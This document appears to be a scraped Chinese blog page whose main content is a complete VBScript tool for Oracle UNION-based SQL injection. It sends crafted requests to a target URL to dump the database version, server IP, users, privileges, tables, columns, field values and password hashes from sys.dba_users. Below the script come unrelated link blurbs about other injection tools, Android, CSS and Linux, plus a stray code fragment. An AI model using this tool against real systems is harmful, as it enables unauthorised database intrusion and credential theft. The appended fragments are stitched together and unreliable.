oracle union 注入工具
'***********************************************************************************************
'oracle union 注入工具 By 孤水绕城
'适用于可以使用union的注入点上
'***********************************************************************************************
'改了Tr4c3的ql2005注射辅助脚本[粗糙版]的框架
Const method = "Get" '提交方式请修改此处,有get和post可选
Const DisPlay = "D" 'S 保存到文件,D输出到屏幕
Dim strUrl_B, strUrl, MyArray, strArg, strD,tmpStrArg,currcount,num
'自己手工判断字段数,然后找出一个字符格式并且可以在网页中显示的位置替换为<**>
strUrl_B = "http://www.target.com/renews.jsp?id=348%20and%201=2%20union%20all%20select%20null,<**>,null,null,null,null,null,null,null,null,null,null" '基于注射点的不确定性,此处请手工更改
currcount = -1
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) '取url
strArg = MyArray(1) '取参数
Set Args = Wscript.Arguments
If Args.Count = 0 Then
showU()
End If
'************************************************************************
' 爆库
'************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))= "info" then
ResuT("The oracle version")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("banner"))
Call sqlInj("%20from%20v$version%20where%201=1%20--","content")
ResuT("The oracle ip")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("sys_context(chr(117)%7C%7Cchr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(110)%7C%7Cchr(118),chr(105)%7C%7Cchr(112)%7C%7Cchr(95)%7C%7Cchr(97)%7C%7Cchr(100)%7C%7Cchr(100)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(115)%7C%7Cchr(115))"))
Call sqlInj("%20%20from%20dual%20where%201=1%20-- ","content")
ResuT("The database")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("name"))
Call sqlInj("%20from%20v$database%20where%20rownum=1%20-- ","content")
ResuT("The database user")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("user"))
Call sqlInj("%20%20from%20user_tables%20where%20rownum=1%20--","content")
ResuT("The database All users")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20all_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("username"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,username%20from%20(select%20rownum%20r,username%20from%20all_users%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
ResuT("The user PRIVILEGES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_role_privs%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("granted_role"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,granted_role%20from%20(select%20rownum%20r,granted_role%20from%20user_role_privs%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
ResuT("The SESSION_ROLES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20session_roles%20where%201=1%20-- ","count")
tmpStrArg = Replace(strArg,"<**>",plastr("role"))
For num=0 To currcount
Call sqlInj("%20%20from%20(select%20rownum%20r,role%20from%20(select%20rownum%20r,role%20from%20session_roles%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
Next
currcount = -1
ResuT("The service_names")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("value"))
Call sqlInj("%20from%20v$parameter%20where%20name=chr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(118)%7C%7Cchr(105)%7C%7Cchr(99)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(110)%7C%7Cchr(97)%7C%7Cchr(109)%7C%7Cchr(101)%7C%7Cchr(115)%20--","content")
ResuT("The Account Hash ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20sys.dba_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("a"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,a%20from%20(select%20rownum%20r,username%7C%7Cchr(58)%7C%7Cpassword%7C%7Cchr(58)%7C%7Cname%7C%7Cchr(58)%7C%7Cutl_inaddr.get_host_name%7C%7Cchr(58)%20as%20a%20from%20sys.dba_users,sys.v_$database%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
Wscript.Quit
End If
End If
'************************************************************************
' 爆表
'************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("All The tables ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tables%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("table_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,table_name%20from%20(select%20rownum%20r,table_name%20from%20user_tables%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If
'************************************************************************
' 爆字段
'************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
ResuT(" The cols of "&Args(1))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tab_columns%20where%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("column_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,column_name%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns%20where%20rownum%3C="&num+1&"%20and%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If
'************************************************************************
' 爆字段值
'************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
ResuT(" The value of "&Args(2))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>","count(*)")
Call sqlInj("%20from%20client%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",UCase(Trim(Args(2))))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20"&UCase(Trim(Args(1)))&"%20where%20rownum%3C="&num+1&"%20and%201=1%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
next
Wscript.Quit
End If
Sub SqlInj(value,thetype)
If UCase(method) = "GET" Then
value = tmpStrArg & value
Dim thestr
thestr = strUrl &"?" & value
'wsh.echo thestr
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl &"?" & value , False
objXML.SetRequestHeader "Referer", strUrl
'objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText '默认用这个
'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number ["&strD&"]")
End if
If thetype = "content" And currcount <> -1 Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = tmpStrArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText '默认用这个
'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number"&strD)
End if
If thetype = "content" And currcount <> -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
End If
End Sub
Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function
Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function encodechr(str)
Dim i,retstr
retstr = ""
For i=1 To Len(str)
retstr = retstr&"chr("&Asc(Mid(str,i,1))&")%7C%7C"
Next
encodechr = Left(retstr,Len(retstr)-6)
End Function
Function plastr(str)
Dim retstr
retstr = retstr&"chr(94)%7C%7Cchr(94)%7C%7Cchr(94)%7C%7C"&str&"%7C%7Cchr(126)%7C%7Cchr(126)%7C%7Cchr(126)"
plastr = retstr
End function
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("oracle union 注入工具 By 孤水绕城")
.Echo("Usage:")
.Echo(" cscript "&.ScriptName&" info--爆基本信息")
.Echo(" cscript "&.ScriptName&" pubs tables--爆库pubs里所有用户表名")
.Echo(" cscript "&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名")
.Echo(" cscript "&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
oracle union 注入工具的更多相关文章
- 十大关系数据库SQL注入工具一览
摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...
- 详解强大的SQL注入工具——SQLMAP
1. 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...
- 10个SQL注入工具(转载)
众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...
- SQL注入工具实践
程序简介 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入. ...
- 10 个 SQL 注入工具
BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出 ...
- Access+Mssql+Oracle数据库注入
Access数据库注入 前言:在常见的注入测试中,由于每个数据库内置架构和应用不同,导致数据库类型将决定注入的手法,Access数据库是小型数据库类型,普遍用于小型WEB应用,其中Access注入手法 ...
- Oracle SQL注入 总结
0x00 Oracle基础 Oracle 基本使用 什么是Oracle数据库? Oracle公司目前是世界上最大的软件提供商之一,与它并列的还有 Microsoft与 Adode.并且随着 Oracl ...
- 记一次SQL联合查询注入工具的编写
这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...
- 如何编写一个SQL注入工具
0x01 前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注 ...
随机推荐
- 68.Android之透明状态栏
转载:http://www.jianshu.com/p/2f17d0e7f6b0 Android开发中需要透明状态栏,注意:本文只适配Android4.4以上及5.0以上设备 概述 有时候我们想在 a ...
- viewport ---移动端详解
转自---http://www.cnblogs.com/2050/p/3877280.html 移动前端开发之viewport的深入理解 在移动设备上进行网页的重构或开发,首先得搞明白的就是移动设备上 ...
- [cf140e]New Year Garland
Description 用$m$种颜色的彩球装点$n$层的圣诞树.圣诞树的第$i$层恰由$l[i]$个彩球串成一行,且同一层内的相邻彩球颜色不同,同时相邻两层所使用彩球的颜色集合不同. 求有多少种装点 ...
- 文件内容统计——Linux wc命令
有了该命令,就可以得到当前目录下所有符合条件的文件总数,如下: find -type f | wc -l 这个命令的功能也很好记,因为它功能很有限: wc -c filename:显示一个文件的字节数 ...
- Linux File System
目录 . Linux文件系统简介 . 通用文件模型 . VFS相关数据结构 . 处理VFS对象 . 标准函数 1. Linux文件系统简介 Linux系统由数以万计的文件组成,其数据存储在硬盘或者其他 ...
- 利用css3选择器及css3边框做出的特效(1)
利用border-radius及box-shadow制作圆角表格 界面效果图如下: css样式如下所示: * { margin:; padding:; } body { padding: 40px 1 ...
- HDU 4280Island Transport(Dinc非STL 模板)
题意: n岛m条路,然后是 n个岛的坐标,然后是m条双向路,包括 岛和 岛 之间 最大客流量,让求 最左边的岛 到右边的岛 最大客流量 分析: 建图 以 左边的岛为原点,最右边的为终点求最大客流量. ...
- f
module.exports = util; }); 除了define之外,我们看到module.exports = util;这一句比较特殊.这句是在说,我util模块向外暴露的接口就这些,其他所 ...
- Saltstack异步执行命令(十三)
Saltstack异步执行命令 salt执行命令有时候会有超时的问题,就是命令下发下去了,部分主机没有返回信息,这时候就很难判断命令或任务是否执行成功.因此,salt提供异步执行的功能,发出命令后立即 ...
- TCP 介绍
TCP介绍 TCP(Transmission Control Protocol 传输控制协议)是一种面向连接的.可靠的.基于字节流的传输层通信协议,由IETF的RFC 793定义.在简化的计算机网络O ...